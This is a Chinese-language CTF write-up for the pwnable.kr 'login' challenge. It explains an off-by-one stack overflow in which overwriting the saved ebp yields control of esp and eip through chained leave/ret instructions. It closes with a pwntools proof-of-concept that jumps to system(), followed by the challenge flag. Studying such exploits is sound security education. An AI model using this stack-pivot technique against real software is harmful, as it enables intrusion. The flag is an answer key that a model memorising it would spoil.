反汇编后的main函数

漏洞发生的地方在auth函数

反汇编后的auth函数

memcpy可能造成缓冲区溢出,auth函数通过memcpy复制内容到一个int类型的局部变量中。
memcpy函数的原型为:

void *memcpy(void *dest, const void *src, size_t n);
功能:从源src所指的内存地址的起始位置开始拷贝n个字节到目标dest所指的内存地址的起始位置中

反汇编代码如下:

所以[esp+8]保存的是要复制的字节数,[esp+4]保存的是源地址,[ebp+var_14+0Ch]=[ebp-14h+0Ch]=[ebp-8]保存目的地址。因为前面有Base64解码后判断长度是否大于12,大于则提示Wrong Length,所以能输入的字符串长度为12,所以能溢出的只有四个字节,即ebp。
要深刻理解leave和ret指令的含义:

leave指令等同于下面两条命令(32位)
mov esp, ebp
pop ebp;该命令会将esp中的值给ebp,同时esp自身会+4

该指令执行完之后结果为:esp=ebp+4,ebp=[ebp]

ret指令等同于pop eip
实际上pop出来就是现在的栈顶,即esp指向的内容。

可以看到实际程序中有两个连续的leave ret,分别在auth函数和main函数中:

第一个leave执行前:

第一个leave执行后:

leave语句执行后ebp的值变为原先储存的值,esp的值变为原来ebp的值加4,同理:
第二个leave执行前:

第二个leave执行后:

所以攻击思路为:输入的12个字节的最后四个字节为input的地址:

即覆盖了ebp,ebp保存的是上一个栈帧的esp,(最开始压栈的mov ebp, esp操作)。这里覆盖的是main函数的ebp(因为auth函数进入时push ebp,push进来的是main函数的ebp值),所以在main函数时的esp还是正常的,ebp已经是我们覆盖的值了。所以第二次leave后,esp指向的是input的第4~7个字节,然后ret,弹出这四个字节,所以这四个字节要填充调用system的地址。
总的来说就是通过控制ebp来控制esp,进而控制eip,这可以在offbyone漏洞中利用,通过溢出ebp来完成攻击。

例如:Linux平台OffByOne(基于栈)漏洞

poc.py

from pwn import *
import base64

context.log_level = 'debug'
#p = process('./login')
p = remote('pwnable.kr',9003)
system_addr = 0x08049278
input_addr = 0x0811EB40
fill_data = 0xdeadbeaf

p.recvuntil("Authenticate : ")

payload = p32(fill_data)+p32(system_addr)+p32(input_addr)
payload = base64.b64encode(payload)

#gdb.attach(p)

p.sendline(payload)

p.interactive()

flag: control EBP, control ESP, control EIP, control the world~